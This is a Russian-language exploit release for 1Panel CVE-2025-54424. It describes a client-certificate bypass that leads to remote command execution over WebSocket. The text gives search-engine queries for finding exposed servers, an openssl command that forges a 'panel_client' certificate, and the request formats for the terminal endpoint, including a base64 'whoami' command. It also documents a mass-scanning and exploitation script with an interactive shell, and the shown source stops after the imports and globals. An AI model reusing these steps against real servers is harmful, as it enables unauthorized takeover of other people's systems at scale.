
Эксплойт-инструмент для 1Panel CVE-2025-54424, обеспечивающий обход сертификата и удаленное выполнение команд через WebSocket, с пакетным сканированием и интерактивной оболочкой.
CVE-2025-54424: 1Panel - RCE через обход клиентского сертификата. Комбинированный инструмент (сканирование + эксплуатация)
1Panel — это открытая, современная панель управления Linux, предоставляющая графический интерфейс для развертывания веб-сайтов, управления серверами и запуска служб.
В уязвимой версии политика TLS аутентификации на стороне агента установлена как tls.RequireAnyClientCert, что требует предоставления сертификата, но не проверяет его доверенность. Злоумышленник может обойти проверку TLS с помощью самоподписанного сертификата и подделать поле CN как panel_client, обойдя проверку на уровне приложения. В конечном итоге злоумышленник может подделать сертификат для неавторизованного вызова интерфейса выполнения команд, что приводит к удаленному выполнению команд уязвимости.
<= v2.0.5
Запросы для hunter и fofa:
cert.subject_org=="FIT2CLOUD"&&ip.port="9999" || cert.subject.suffix=="panel_server"
cert.subject.org="FIT2CLOUD" && port="9999" && protocol="tls" || cert.subject.cn="panel_server"
Копия уведомления об уязвимости на GitHub

agent/init/router/router.go
Обнаружим, что в функции Routers используется функция Certificate для глобальной проверки agent/middleware/certificate.go

Обнаружим, что функция Certificate проверяет c.Request.TLS.HandshakeComplete для определения, использовалась ли связь по сертификату

Поскольку истинность/ложность c.Request.TLS.HandshakeComplete определяется функцией Start в agent/server/server.go через tls.RequireAnyClientCert
Примечание: здесь используется tls.RequireAnyClientCert, а не tls.RequireAndVerifyClientCert. RequireAnyClientCert требует только предоставления клиентского сертификата, но не проверяет центр сертификации, выпустивший сертификат, поэтому любой самоподписанный сертификат может пройти TLS-рукопожатие.
Затем входят другие проверки в функции Certificate, которые проверяют только то, что поле CN сертификата равно panel_client, но не проверяют издателя сертификата. В итоге обнаруживается, что WebSocket-соединение может обойти проверку Proxy-ID.

В проекте существует множество WebSocket-интерфейсов.
/process/ws
Формат запроса:{
"type": "ps", // Тип данных: ps (процессы), ssh (SSH-сессии), net (сетевые соединения), wget (прогресс загрузки)
"pid": 123, // Необязательно, указать ID процесса для фильтрации
"name": "process_name", // Необязательно, фильтр по имени процесса
"username": "user" // Необязательно, фильтр по имени пользователя
}

/hosts/terminal
Формат запроса:{
"type": "cmd",
"data": "d2hvYW1pCg==" // Base64-кодировка "whoami", не забывайте про символ новой строки.
}

/containers/terminal/files/wget/processopenssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client"
Используйте разработанный мной скрипт CVE-2025-54424.py для массового обнаружения и эксплуатации. Инструкция по использованию:
Установите необходимые зависимости: pip install websocket-client cryptography PySocks requests
usage: CVE-2025-54424.py [-h] (-u URL | -f FILE) [-o OUTPUT] [-t THREADS]
[--proxy PROXY]
1Panel - RCE через обход клиентского сертификата. Комбинированный инструмент (сканирование + эксплуатация)
Автор: Mrxn https://github.com/Mr-xn
optional arguments:
-h, --help показать это сообщение и выйти
-u URL, --url URL Одиночная цель, войти в режим эксплуатации. Пример: 192.168.1.100:8080
-f FILE, --file FILE Файл с целями, войти в режим массового сканирования.
-o OUTPUT, --output OUTPUT
[Режим сканирования] Имя файла для сохранения результатов уязвимых целей.
-t THREADS, --threads THREADS
[Режим сканирования] Количество параллельных потоков.
--proxy PROXY Установить прокси для всех запросов. Пример: http://127.0.0.1:8080
Пример одиночного обнаружения + выполнение команд (интерактивное выполнение команд через SSH) показан на рисунке ниже

import base64
import ssl
import sys
import json
import os
import tempfile
import argparse
import requests
import websocket
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import datetime
# Отключаем предупреждения от библиотеки requests при отключенной проверке SSL
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# --- Глобальные переменные и блокировка потоков ---
print_lock = threading.Lock()
exploit_running = True
vulnerable_hosts = []
# --- Основные функции ---